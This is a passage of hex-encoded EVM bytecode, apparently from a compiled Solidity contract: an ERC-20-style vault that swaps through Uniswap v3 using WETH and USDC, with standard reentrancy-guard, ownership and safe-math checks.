016112cf6123b3565b84610f3785600160006112e06123b3565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490612cb3565b6101a481565b6002600654141561136e576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600681905550600560019054906101000a90046001600160a01b03166001600160a01b031663ff9475256040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156113c657600080fd5b505af11580156113da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fe91906151c7565b61141a5760405162461bcd60e51b81526004016103f790615c37565b60125460ff1661143c5760405162461bcd60e51b81526004016103f79061596e565b600061144f8261144a610bb3565b612d0d565b9050600061145d8247612d19565b90506114693384612d25565b6114733382612bc9565b336001600160a01b03167fe9ab9870b9093d99f8e981919f65ad09b7ae90ff80f1031639af9e0357eb9ed684836040516110eb929190615d6c565b60055461010090046001600160a01b031681565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b7f0000000000000000000000008ad599c3a0ff1de082011efddc58f1908eb6e6d881565b7f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c81565b60008060008061153c612e21565b935093509350935090919293565b61155383612f18565b61156f5760405162461bcd60e51b81526004016103f7906159dc565b61157a8383836130b2565b336001600160a01b03167ff99cce6ee3154fddfc55959dd136665c7351fe51c0ea58392ca454be8180dcd4428585856040516115b99493929190615600565b60405180910390a2505050565b60115481565b600b5481565b60105481565b7f000000000000000000000000000000000000000000000000000000000000004690565b60026006541415611654576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260065561166283612f18565b61167e5760405162461bcd60e51b81526004016103f7906159dc565b611689838383612a4c565b336001600160a01b03167fa6806e5672ec1827d23bd4a25f4a41c8d0b055720c40081e3803f6b0a957f7978383866040516110eb93929190615759565b6001600160a01b0381166000908152602081905260409020545b919050565b6116ed6123b3565b6001600160a01b03166116fe6118c1565b6001600160a01b031614611747576040805162461bcd60e51b81526020600482018190526024820152600080516020615f15833981519152604482015290519081900360640190fd5b6007546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36007805473ffffffffffffffffffffffffffffffffffffffff19169055565b6117a66123b3565b6001600160a01b03166117b76118c1565b6001600160a01b031614611800576040805162461bcd60e51b81526020600482018190526024820152600080516020615f15833981519152604482015290519081900360640190fd5b600081116118205760405162461bcd60e51b81526004016103f7906158c9565b600b8190556040517f28e0e4ee0b14d4b056ce88e1bcd890ccd32b22e213723c8765901381b5eae70590610ba29083906155f7565b7f00000000000000000000000065d66c76447ccb45daf1e8044e918fa786a483a181565b7f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b81565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb4881565b6007546001600160a01b031690565b600f5481565b6118de6123b3565b6001600160a01b03166118ef6118c1565b6001600160a01b031614611938576040805162461bcd60e51b81526020600482018190526024820152600080516020615f15833981519152604482015290519081900360640190fd5b60b48163ffffffff16101561195f5760405162461bcd60e51b81526004016103f790615ca5565b6009805463ffffffff191663ffffffff83161790556040517f1cd9c7f99a5530a38c8f2b387dcc78e8a76cb5b203e0c4316a66777d993dee3590610ba2908390615da8565b600a5481565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610ae35780601f10610ab857610100808354040283529160200191610ae3565b600080611a16612a23565b9150915081611a375760405162461bcd60e51b81526004016103f790615aef565b611a428185856130b2565b336001600160a01b03167f6c3a0d23de8295593e3e236062f9103f4a66c6d8de92b9425a2e17ae3baca67742838787604051611a819493929190615600565b60405180910390a250505050565b60128054600160ff19909116179055600554604051634bf7d4a160e11b81526101009091046001600160a01b0316906397efa94290611af2907f0000000000000000000000000000000000000000000000000000000000000046906004016155f7565b600060405180830381600087803b158015611b0c57600080fd5b505af1158015611b20573d6000803e3d6000fd5b50505050565b6000610b01611b336123b3565b84610f3785604051806060016040528060258152602001615f9f6025913960016000611b5d6123b3565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906128f0565b611b966123b3565b6001600160a01b0316611ba76118c1565b6001600160a01b031614611bf0576040805162461bcd60e51b81526020600482018190526024820152600080516020615f15833981519152604482015290519081900360640190fd5b60008111611c105760405162461bcd60e51b81526004016103f79061585b565b600d8190556040517f6405fa008c5cc5710b13a509f31e7596708bdbc2a52c85a15f9992697a791b2090610ba29083906155f7565b6000610b01611c526123b3565b8484612795565b6000610b0582612f18565b611c6c6123b3565b6001600160a01b0316611c7d6118c1565b6001600160a01b031614611cc6576040805162461bcd60e51b81526020600482018190526024820152600080516020615f15833981519152604482015290519081900360640190fd5b60008111611ce65760405162461bcd60e51b81526004016103f790615892565b600c8190556040517f789e4b8ad1c375952cea7f07c9b3b6619a84b406432b948246cecb8ced96b9fa90610ba29083906155f7565b600080611d26612a23565b915091509091565b7f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f98481565b60085481565b60026006541415611db0576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260065534600080611dc43384836132e4565b91509150336001600160a01b03167f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a1583836040516110eb929190615d6c565b611e0b6123b3565b6001600160a01b0316611e1c6118c1565b6001600160a01b031614611e65576040805162461bcd60e51b81526020600482018190526024820152600080516020615f15833981519152604482015290519081900360640190fd5b600a8190556040517f48100eb8aecbbf59b3665ff2a7b2d7257a218196dec79a67ca870fca43cdff6290610ba29083906155f7565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b611ecd6123b3565b6001600160a01b0316611ede6118c1565b6001600160a01b031614611f27576040805162461bcd60e51b81526020600482018190526024820152600080516020615f15833981519152604482015290519081900360640190fd5b670de0b6b3a76400008111611f4e5760405162461bcd60e51b81526004016103f790615c00565b600f8190556040517fce6ae334d464afcb4f9f5f5218c4e3b0d5d227a821cb8a76bbff56da8f5f0b8890610ba29083906155f7565b600c5481565b6000806000806000806000611f9c6124a3565b60095460405163cce79bd560e01b81529294509092506000916001600160a01b037f00000000000000000000000065d66c76447ccb45daf1e8044e918fa786a483a1169163cce79bd591612064917f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c917f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b917f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29163ffffffff9091169060019060040161562f565b60206040518083038186803b15801561207c57600080fd5b505afa158015612090573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120b491906154b3565b905060006120c0613482565b905060006120d0858585856135bf565b50905060006120e08c8584613630565b90506000806120f1888885886135bf565b90925090508315158215151415600061210a83866136e3565b959e50919c50939a5091985091965050505050505091939590929450565b6121306123b3565b6001600160a01b03166121416118c1565b6001600160a01b03161461218a576040805162461bcd60e51b81526020600482018190526024820152600080516020615f15833981519152604482015290519081900360640190fd5b6001600160a01b0381166121cf5760405162461bcd60e51b8152600401808060200182810382526026815260200180615e456026913960400191505060405180910390fd5b6007546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36007805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b60095463ffffffff1681565b6000610b0582612987565b6122576123b3565b6001600160a01b03166122686118c1565b6001600160a01b0316146122b1576040805162461bcd60e51b81526020600482018190526024820152600080516020615f15833981519152604482015290519081900360640190fd5b670de0b6b3a764000081106122d85760405162461bcd60e51b81526004016103f790615c6e565b600e8190556040517f07515fe9cd564f272668faa064c14bc4cec5f75710703ff96a21a47b680ce28f90610ba29083906155f7565b600084138061231c5750600083135b61232557600080fd5b600061233382840184615318565b90506000806000612347846000015161371c565b9250925092506123797f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f98484848461374d565b506000808913612389578761238b565b885b90506123a88560200151858585858a606001518b6040015161376c565b505050505050505050565b3390565b6001600160a01b0383166123fc5760405162461bcd60e51b8152600401808060200182810382526024815260200180615f7b6024913960400191505060405180910390fd5b6001600160a01b0382166124415760405162461bcd60e51b8152600401808060200182810382526022815260200180615e6b6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000806000806124b1612e21565b96509450505050509091565b6008546124ca828461410f565b11156124e85760405162461bcd60e51b81526004016103f790615b5d565b5050565b6000806000806124fa613482565b905085158015612508575084155b1561267757612515610bb3565b156125325760405162461bcd60e51b81526004016103f790615a81565b60095460405163cce79bd560e01b81526000916001600160a01b037f00000000000000000000000065d66c76447ccb45daf1e8044e918fa786a483a1169163cce79bd5916125f2917f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c917f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b917f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29163ffffffff169060019060040161562f565b60206040518083038186803b15801561260a57600080fd5b505afa15801561261e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061264291906154b3565b9050600061265882671bc16d674ec800006136e3565b905061266e612667828561410f565b8a90614167565b935050506126a1565b61269e61268e61268788846136e3565b879061410f565b61269889896136e3565b90614167565b91505b60006126ad83836136e3565b92989297509195505050505050565b80820382811115610b05576040805162461bcd60e51b815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b60006127698530600060405180608001604052808d8c8e60405160200161273d939291906155a4565b60408051601f1981840301815291815290825233602083015260ff8a1690820152606001879052614187565b90508381101561278b5760405162461bcd60e51b81526004016103f790615824565b5050505050505050565b6001600160a01b0383166127da5760405162461bcd60e51b8152600401808060200182810382526025815260200180615f566025913960400191505060405180910390fd5b6001600160a01b03821661281f5760405162461bcd60e51b8152600401808060200182810382526023815260200180615e006023913960400191505060405180910390fd5b61282a838383612cae565b61286781604051806060016040528060268152602001615e8d602691396001600160a01b03861660009081526020819052604090205491906128f0565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546128969082612cb3565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000818484111561297f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561294457818101518382015260200161292c565b50505050905090810190601f1680156129715780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600080612992612e21565b9350505050610f406129a2610bb3565b61269883866136e3565b6000612a018530600060405180608001604052808c8c8f6040516020016129d5939291906155a4565b60408051601f1981840301815291815290825233602083015260ff8a16908201526060018790526142c6565b90508381111561278b5760405162461bcd60e51b81526004016103f7906159a5565b6000806000612a3f600b5460105461410f90919063ffffffff16565b4281111593509150509091565b600080600080612a5b87614433565b935093509350935083151586151514612a865760405162461bcd60e51b81526004016103f790615937565b8315612adf5784811115612aac5760405162461bcd60e51b81526004016103f790615a4a565b81341015612acc5760405162461bcd60e51b81526004016103f790615900565b612ada3334858560006145ea565b612b2a565b3415612afd5760405162461bcd60e51b81526004016103f790615b94565b84811015612b1d5760405162461bcd60e51b81526004016103f7906157ed565b612b2a3384846000614684565b336001600160a01b03167f878fd3ca52ad322c7535f559ee7c91afc67363073783360ef1b1420589dc61748787848787604051612b6b9594939291906157b5565b60405180910390a250505050505050565b600080612b876124a3565b9150506000612b988661144a610bb3565b90506000612ba68284612d19565b9050612bb4888783886146e5565b612bbe8888612d25565b979650505050505050565b80471015612c1e576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015290519081900360640190fd5b6040516000906001600160a01b0384169083908381818185875af1925050503d8060008114612c69576040519150601f19603f3d011682016040523d82523d6000602084013e612c6e565b606091505b5050905080612cae5760405162461bcd60e51b815260040180806020018281038252603a815260200180615eb3603a913960400191505060405180910390fd5b505050565b600082820183811015610f40576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610f408383614167565b6000610f4082846136e3565b6001600160a01b038216612d6a5760405162461bcd60e51b8152600401808060200182810382526021815260200180615f356021913960400191505060405180910390fd5b612d7682600083612cae565b612db381604051806060016040528060228152602001615e23602291396001600160a01b03851660009081526020819052604090205491906128f0565b6001600160a01b038316600090815260208190526040902055600254612dd99082614814565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600554604051634632752560e11b8152600091829182918291829161010090046001600160a01b031690638c64ea4a90612e7f907f0000000000000000000000000000000000000000000000000000000000000046906004016155f7565b60806040518083038186803b158015612e9757600080fd5b505afa158015612eab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ecf91906153d6565b805160208201516040830151606090930151919863ffffffff90911697506bffffffffffffffffffffffff90921695506fffffffffffffffffffffffffffffffff169350915050565b6000601054821015612f2c575060006116e0565b6000612f3842846126bc565b600954604051634ac78d1160e01b81529192506000916001600160a01b037f00000000000000000000000065d66c76447ccb45daf1e8044e918fa786a483a11691634ac78d1191612ffe917f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c917f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b917f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29163ffffffff9091168901908990600401615668565b60206040518083038186803b15801561301657600080fd5b505afa15801561302a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061304e91906154b3565b905060006130676011548361416790919063ffffffff16565b90506000670de0b6b3a764000082116130915761308c670de0b6b3a7640000836126bc565b6130a3565b6130a382670de0b6b3a76400006126bc565b600c5411159695505050505050565b6000806000806130c187614433565b935093509350935083156131c6576131c17f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc27f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c6001600160a01b031663ddca3f436040518163ffffffff1660e01b815260040160206040518083038186803b15801561316d57600080fd5b505afa158015613181573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131a59190615478565b858760025b89898e8e60405160200161109c9493929190615600565b6132a5565b6132a57f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc27f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b7f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c6001600160a01b031663ddca3f436040518163ffffffff1660e01b815260040160206040518083038186803b15801561326457600080fd5b505afa158015613278573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061329c9190615478565b868660036131aa565b336001600160a01b03167f4c1a959210172325f5c6678421c3834b04ae8ce57f7a7c0c0bbfbb62bca37e3485838686604051612b6b9493929190615771565b6000806000806132f26124a3565b9150915061330086826124bd565b60008061330e8885856124ec565b909250905060006133306133228a846126bc565b8561332b610bb3565b614871565b90508415801561333e575083155b1561345c5760095460405163cce79bd560e01b81526000916001600160a01b037f00000000000000000000000065d66c76447ccb45daf1e8044e918fa786a483a1169163cce79bd591613403917f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c917f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b917f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29163ffffffff169060019060040161562f565b60206040518083038186803b15801561341b57600080fd5b505afa15801561342f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061345391906154b3565b42601055601155505b6134688a848b8b6148c0565b6134728a82614a1a565b9199919850909650505050505050565b6000806135167f00000000000000000000000065d66c76447ccb45daf1e8044e918fa786a483a17f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c7f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26101a46000614a24565b90506000600560019054906101000a90046001600160a01b03166001600160a01b031663978bbdb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561356857600080fd5b505afa15801561357c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135a091906154b3565b90506135b86127106135b28484614aca565b90614b36565b9250505090565b600080806135df856135d989671bc16d674ec800006136e3565b906136e3565b90506000806135f083898989614b95565b600a54919350915061360689612698858b6136e3565b116136235760405162461bcd60e51b81526004016103f790615cdc565b9890975095505050505050565b600d54600090819061364242876126bc565b101561365e57600d546136599061269842886126bc565b613668565b670de0b6b3a76400005b9050600083156136a65761369f61369661368f600e54600f546126bc90919063ffffffff16565b84906136e3565b600f54906126bc565b90506136cf565b6136cc6136c361368f600e54600f546126bc90919063ffffffff16565b600e549061410f565b90505b6136d985826136e3565b9695505050505050565b6000670de0b6b3a764000061370d6136fb8585614aca565b6002670de0b6b3a76400005b0461410f565b8161371457fe5b049392505050565b6000808061372a8482614bdb565b9250613737846014614ca7565b9050613744846017614bdb565b91509193909250565b60006137638561375e868686614d63565b614db9565b95945050505050565b60008160ff16600381111561377d57fe5b600381111561378857fe5b14156139ce576000828060200190518101906137a4919061529e565b6040516370a0823160e01b81529091506001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21690632e1a7d4d9082906370a08231906137fb90309060040161561b565b60206040518083038186803b15801561381357600080fd5b505afa158015613827573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061384b91906154b3565b6040518263ffffffff1660e01b815260040161386791906155f7565b600060405180830381600087803b15801561388157600080fd5b505af1158015613895573d6000803e3d6000fd5b505050506138a988826000015160016132e4565b505060405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b169063a9059cbb90613919907f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c9088906004016156ff565b602060405180830381600087803b15801561393357600080fd5b505af1158015613947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061396b91906151c7565b50876001600160a01b03167fc355ebece16d7e85e486911f0cde1074bc4bd3fec251c88cdddc7076d3e99adb85476040516139a7929190615d6c565b60405180910390a247156139c8576139c86001600160a01b03891647612bc9565b50614106565b60018160ff1660038111156139df57fe5b60038111156139ea57fe5b1415613c5f57600082806020019051810190613a06919061529e565b90506000613ab68983600001517f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b6001600160a01b03166370a08231306040518263ffffffff1660e01b8152600401613a5f919061561b565b60206040518083038186803b158015613a7757600080fd5b505afa158015613a8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613aaf91906154b3565b6001612b7c565b90507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0866040518263ffffffff1660e01b81526004016000604051808303818588803b158015613b1357600080fd5b505af1158015613b27573d6000803e3d6000fd5b505060405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216935063a9059cbb9250613b9a91507f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c9089906004016156ff565b602060405180830381600087803b158015613bb457600080fd5b505af1158015613bc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613bec91906151c7565b506000613bf982876126bc565b9050896001600160a01b03167f6f3269a64126ef2a1959892f3d921e81865181e09a7f72f55d3a49550c53b48d8783604051613c36929190615d6c565b60405180910390a28015613c5757613c576001600160a01b038b1682612bc9565b505050614106565b60028160ff166003811115613c7057fe5b6003811115613c7b57fe5b1415613f3757600082806020019051810190613c9791906152b9565b6040516370a0823160e01b81529091506001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21690632e1a7d4d9082906370a0823190613cee90309060040161561b565b60206040518083038186803b158015613d0657600080fd5b505afa158015613d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d3e91906154b3565b6040518263ffffffff1660e01b8152600401613d5a91906155f7565b600060405180830381600087803b158015613d7457600080fd5b505af1158015613d88573d6000803e3d6000fd5b5050505060208101518151613da1918a918160016145ea565b8051600090613db090866126bc565b90508160400151811015613dd65760405162461bcd60e51b81526004016103f790615bcb565b60405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b169063a9059cbb90613e44907f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c9089906004016156ff565b602060405180830381600087803b158015613e5e57600080fd5b505af1158015613e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e9691906151c7565b5060405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b169063a9059cbb90613ee5908c9085906004016156ff565b602060405180830381600087803b158015613eff57600080fd5b505af1158015613f13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c5791906151c7565b60038160ff166003811115613f4857fe5b6003811115613f5357fe5b141561410657600082806020019051810190613f6f91906152b9565b9050613f8688826000015183602001516001614684565b6020810151600090613f9890866126bc565b90508160600151811015613fbe5760405162461bcd60e51b81526004016103f790615ab8565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0866040518263ffffffff1660e01b81526004016000604051808303818588803b15801561401957600080fd5b505af115801561402d573d6000803e3d6000fd5b505060405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216935063a9059cbb92506140a091507f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c9089906004016156ff565b602060405180830381600087803b1580156140ba57600080fd5b505af11580156140ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140f291906151c7565b506123a86001600160a01b038a1682612bc9565b50505050505050565b80820182811015610b05576040805162461bcd60e51b815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b60008161370d61417f85670de0b6b3a7640000614aca565b600285613707565b60008060008061419a856000015161371c565b919450925090506001600160a01b03808316908416106000806141be868686614ddc565b6001600160a01b031663128acb088b856141d78f614e1a565b6001600160a01b038e16156141ec578d614212565b8761420b5773fffd8963efd1fc6a506488495d951d5263988d25614212565b6401000276a45b8d6040516020016142239190615d13565b6040516020818303038152906040526040518663ffffffff1660e01b81526004016142529594939291906156c5565b6040805180830381600087803b15801561426b57600080fd5b505af115801561427f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906142a39190615200565b91509150826142b257816142b4565b805b6000039b9a5050505050505050505050565b6000806000806142d9856000015161371c565b919450925090506001600160a01b03808416908316106000806142fd858786614ddc565b6001600160a01b031663128acb088b856143168f614e1a565b6000036001600160a01b038e161561432e578d614354565b8761434d5773fffd8963efd1fc6a506488495d951d5263988d25614354565b6401000276a45b8d6040516020016143659190615d13565b6040516020818303038152906040526040518663ffffffff1660e01b81526004016143949594939291906156c5565b6040805180830381600087803b1580156143ad57600080fd5b505af11580156143c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906143e59190615200565b91509150600080846143fb578284600003614401565b83836000035b915091508a6001600160a01b031660001415614423578c811461442357600080fd5b509b9a5050505050505050505050565b6000806000806000806144446124a3565b60095460405163cce79bd560e01b81529294509092506000916001600160a01b037f00000000000000000000000065d66c76447ccb45daf1e8044e918fa786a483a1169163cce79bd59161450c917f00000000000000000000000082c427adfdf2d245ec51d8046b41c4ee87f0d29c917f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b917f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc29163ffffffff9091169060019060040161562f565b60206040518083038186803b15801561452457600080fd5b505afa158015614538573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061455c91906154b3565b90506000614568613482565b90506000614578858585856135bf565b50905060006145888b8584613630565b9050600080614599888885886135bf565b91509150811515841515146145c05760405162461bcd60e51b81526004016103f790615a13565b60006145cc82856136e3565b4260105560119790975550929c929b50939950975095505050505050565b8015614602576145fd85848460016148c0565b614638565b61460f85848460006148c0565b600061461b85846126bc565b90508015614636576146366001600160a01b03871682612bc9565b505b846001600160a01b03167f2af3664d72ebbec5e92c3a487f09a4ecd9ef50177eced03cc2b05892b5e0c91584848460405161467593929190615d7a565b60405180910390a25050505050565b614690848484846146e5565b806146a8576146a86001600160a01b03851683612bc9565b836001600160a01b03167fc7472bd0a757f40f801e047dd4f4ec901314e95afcbfed844e62af18401e0e6b848484604051611a8193929190615d7a565b8061478e576040516323b872dd60e01b81526001600160a01b037f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b16906323b872dd9061473a908790309088906004016156a1565b602060405180830381600087803b15801561475457600080fd5b505af1158015614768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061478c91906151c7565b505b600554604051638632cb0360e01b81526101009091046001600160a01b031690638632cb03906147e6907f00000000000000000000000000000000000000000000000000000000000000469087908790600401615d92565b600060405180830381600087803b15801561480057600080fd5b505af115801561278b573d6000803e3d6000fd5b60008282111561486b576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600080614888614881858761410f565b8690614167565b905082156148b7576148af6148a5670de0b6b3a7640000836126bc565b61269885846136e3565b915050610f40565b50929392505050565b600554604051630728cf2360e31b81526101009091046001600160a01b031690633946791890849061491b907f0000000000000000000000000000000000000000000000000000000000000046908890600090600401615d92565b6020604051808303818588803b15801561493457600080fd5b505af1158015614948573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061496d91906154b3565b5080611b205760405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000f1b99e3e573a1a9c5e6b2ce818b617f0e664e86b169063a9059cbb906149c190879087906004016156ff565b602060405180830381600087803b1580156149db57600080fd5b505af11580156149ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614a1391906151c7565b5050505050565b6124e88282614e30565b6040805163cce79bd560e01b81526001600160a01b0387811660048301528681166024830152858116604483015263ffffffff851660648301528315156084830152915160009289169163cce79bd59160a4808301926020929190829003018186803b158015614a9357600080fd5b505afa158015614aa7573d6000803e3d6000fd5b505050506040513d6020811015614abd57600080fd5b5051979650505050505050565b6000811580614ae557505080820282828281614ae257fe5b04145b610b05576040805162461bcd60e51b815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b6000808211614b8c576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161371457fe5b600080848611614bbd57614bb6614bac858561410f565b61269887896126bc565b6001614bce565b614bcb8461269888886126bc565b60005b9150915094509492505050565b600081826014011015614c35576040805162461bcd60e51b815260206004820152601260248201527f746f416464726573735f6f766572666c6f770000000000000000000000000000604482015290519081900360640190fd5b8160140183511015614c8e576040805162461bcd60e51b815260206004820152601560248201527f746f416464726573735f6f75744f66426f756e64730000000000000000000000604482015290519081900360640190fd5b5001602001516c01000000000000000000000000900490565b600081826003011015614d01576040805162461bcd60e51b815260206004820152601160248201527f746f55696e7432345f6f766572666c6f77000000000000000000000000000000604482015290519081900360640190fd5b8160030183511015614d5a576040805162461bcd60e51b815260206004820152601460248201527f746f55696e7432345f6f75744f66426f756e6473000000000000000000000000604482015290519081900360640190fd5b50016003015190565b614d6b61501c565b826001600160a01b0316846001600160a01b03161115614d89579192915b50604080516060810182526001600160a01b03948516815292909316602083015262ffffff169181019190915290565b6000614dc58383614f20565b9050336001600160a01b03821614610b0557600080fd5b6000614e127f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f984614e0d868686614d63565b614f20565b949350505050565b6000600160ff1b8210614e2c57600080fd5b5090565b6001600160a01b038216614e8b576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b614e9760008383612cae565b600254614ea49082612cb3565b6002556001600160a01b038216600090815260208190526040902054614eca9082612cb3565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600081602001516001600160a01b031682600001516001600160a01b031610614f4857600080fd5b50805160208083015160409384015184516001600160a01b0394851681850152939091168385015262ffffff166060808401919091528351808403820181526080840185528051908301207fff0000000000000000000000000000000000000000000000000000000000000060a085015294901b6bffffffffffffffffffffffff191660a183015260b58201939093527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d5808301919091528251808303909101815260f5909101909152805191012090565b604080516060810182526000808252602082018190529181019190915290565b80356116e081615dc7565b600082601f830112615057578081fd5b813567ffffffffffffffff8082111561506c57fe5b604051601f8301601f19168101602001828111828210171561508a57fe5b6040528281528483016020018610156150a1578384fd5b82602086016020830137918201602001929092529392505050565b6000602082840312156150cd578081fd5b6040516020810181811067ffffffffffffffff821117156150ea57fe5b6040529151825250919050565b803560ff811681146116e057600080fd5b600060208284031215615119578081fd5b8135610f4081615dc7565b60008060408385031215615136578081fd5b823561514181615dc7565b9150602083013561515181615dc7565b809150509250929050565b600080600060608486031215615170578081fd5b833561517b81615dc7565b9250602084013561518b81615dc7565b